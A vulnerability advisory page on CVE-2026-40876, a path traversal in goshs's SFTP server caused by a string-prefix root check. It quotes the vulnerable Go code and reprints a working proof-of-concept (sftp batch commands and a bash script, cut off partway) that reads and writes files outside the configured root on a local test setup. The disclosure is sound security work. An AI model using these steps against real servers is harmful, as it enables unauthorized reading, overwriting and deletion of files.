Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-40876 — goshs

🟠 CVSS 8.8 — High ✅ No Known Exploit CWE-22 NVD
8.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

SFTP root escape via prefix-based path validation in goshs

Summary

goshs contains an SFTP root escape caused by prefix-based path validation. An authenticated SFTP user can read from and write to filesystem paths outside the configured SFTP root, which breaks the intended jail boundary and can expose or modify unrelated server files.

Details

The SFTP subsystem routes requests through sftpserver/sftpserver.go:99-126 into DefaultHandler.GetHandler() in sftpserver/handler.go:90-112, which forwards file operations into readFile, writeFile, listFile, and cmdFile. All of those sinks rely on sanitizePath() in sftpserver/helper.go:47-59. The vulnerable logic is:

```go

cleanPath = filepath.Clean("/" + clientPath)

if !strings.HasPrefix(cleanPath, sftpRoot) {

return "", errors.New("access denied: outside of webroot")

}

```

This is a raw string-prefix comparison, not a directory-boundary check. Because of that, if the configured root is /tmp/goshsroot, then a sibling path such as /tmp/goshsroot_evil/secret.txt incorrectly passes validation since it starts with the same byte prefix.

That unsafe value then reaches filesystem sinks including:

  • os.Open in sftpserver/helper.go:80-94
  • os.Create in sftpserver/helper.go:139-152
  • os.Rename in sftpserver/helper.go:214-221
  • os.RemoveAll in sftpserver/helper.go:231-232
  • os.Mkdir in sftpserver/helper.go:242-243

This means an authenticated SFTP user can escape the configured jail and read, create, upload, rename, or delete content outside the intended root directory.

PoC

The configured SFTP root was /tmp/goshsroot, but the SFTP client was still able to access /tmp/goshsroot_evil/secret.txt and create /tmp/goshsroot_owned/pwned.txt, both of which are outside the configured root.

Manual verification commands used:

Terminal 1

```bash

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta4'

go build -o /tmp/goshs_beta4 ./

rm -rf /tmp/goshsroot /tmp/goshsroot_evil /tmp/goshsroot_owned /tmp/outside_sftp.txt /tmp/local_upload.txt /tmp/goshs_beta4_client_key

mkdir -p /tmp/goshsroot /tmp/goshsroot_evil

printf 'outside secret\n' > /tmp/goshsroot_evil/secret.txt

printf 'proof via sftp write\n' > /tmp/local_upload.txt

cp sftpserver/goshs_client_key /tmp/goshs_beta4_client_key

chmod 600 /tmp/goshs_beta4_client_key

/tmp/goshs_beta4 -sftp -d /tmp/goshsroot --sftp-port 2222 \

--sftp-keyfile sftpserver/authorized_keys \

--sftp-host-keyfile sftpserver/goshs_host_key_rsa

```

Terminal 2

```bash

printf 'ls /tmp/goshsroot_evil\nget /tmp/goshsroot_evil/secret.txt /tmp/outside_sftp.txt\nmkdir /tmp/goshsroot_owned\nbye\n' | \

sftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - [email protected]

printf 'put /tmp/local_upload.txt /tmp/goshsroot_owned/pwned.txt\nbye\n' | \

sftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - [email protected]

cat /tmp/outside_sftp.txt

cat /tmp/goshsroot_owned/pwned.txt

```

Expected result:

  • ls /tmp/goshsroot_evil succeeds even though that path is outside /tmp/goshsroot
  • cat /tmp/outside_sftp.txt prints outside secret
  • cat /tmp/goshsroot_owned/pwned.txt prints proof via sftp write

PoC Video 1:

https://github.com/user-attachments/assets/d2c96301-afc8-4ddc-b008-74b235f94e31

Single-script verification:

```bash

'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc1'

```

gosh_poc1 script content:

```bash

#!/usr/bin/env bash

set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta4'

BIN='/tmp/goshs_beta4_sftp_escape'

ROOT='/tmp/goshsroot'

OUTSIDE='/tmp/goshsroot_evil'

OWNED='/tmp/goshsroot_owned'

CLIENT_KEY='/tmp/goshs_beta4_client_key'

DOWNLOAD='/tmp/outside_sftp.txt'

UPLOAD_SRC='/tmp/local_upload.txt'

PORT='2222'

SERVER_PID=""

cleanup() {

if [[ -n "${SERVER_PID:-}" ]]; then

kill "${SERVER_PID}" >/dev/null 2>&1 || true

wait "${SERVER_PID}" 2>/dev/null || true

fi

}

trap cleanup EXIT

echo '[1/6] Building goshs beta.4'

cd "${REPO}"

go build -o "${BIN}" ./

echo '[2/6] Preparing root and sibling paths'

rm -rf "${ROOT}" "${OUTSIDE}" "${OWNED}" "${DOWNLOAD}" "${UPLOAD_SRC}" "${CLIENT_KEY}"

mkdir -p "${ROOT}" "${OUTSIDE}"

printf 'outside secret\n' > "${OUTSIDE}/secret.txt"

printf 'proof via sftp write\n' > "${UPLOAD_SRC}"

cp "${REPO}/sftpserver/goshs_client_key" "${CLIENT_KEY}"

chmod 600 "${CLIENT_KEY}"

echo '[3/6] Starting SFTP server'

"${BIN}" -sftp -d "${ROOT}" --sftp-port "${PORT}" \

--sftp-keyfile "${REPO}/sftpserver/authorized_keys" \

--sftp-host-keyfile "${REPO}/sftpserver/goshs_host_key_rsa" \

>/tmp/gosh_poc1.log 2>&1 &

SERVER_PID=$!

for _ in $(seq 1 20); do

if python3 - <<PY

import socket

s = socket.socket()

try:

s.connect(("127.0.0.1", ${PORT}))

raise SystemExit(0)

except OSError:

raise SystemExit(1)

finally:

s.close()

PY

then

break

fi

sleep 1

done

echo '[4/6] Listing and downl

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-40876 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2026-40876 is recorded against 3 packages.

  • github.com/patrickhener/goshs
  • github.com/patrickhener/goshs/v2
  • goshs

Timeline and source

Published on 14 April 2026 and last revised on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)

Other advisories for this package

github.com/patrickhener/goshs has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-22: Path Traversal) in other software:

Details

Severity HIGH
CVSS Score 8.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-22
Public Exploit ✅ No
Source NVD
Published 2026-04-14
Updated 2026-08-20
Modified 2026-06-25
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/patrickhener/goshs — —
github.com/patrickhener/goshs/v2 — —
goshs — —

Similar Threats

Site Security Check

Is goshs part of your stack?

CVE-2026-40876 is rated CVSS 8.8 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓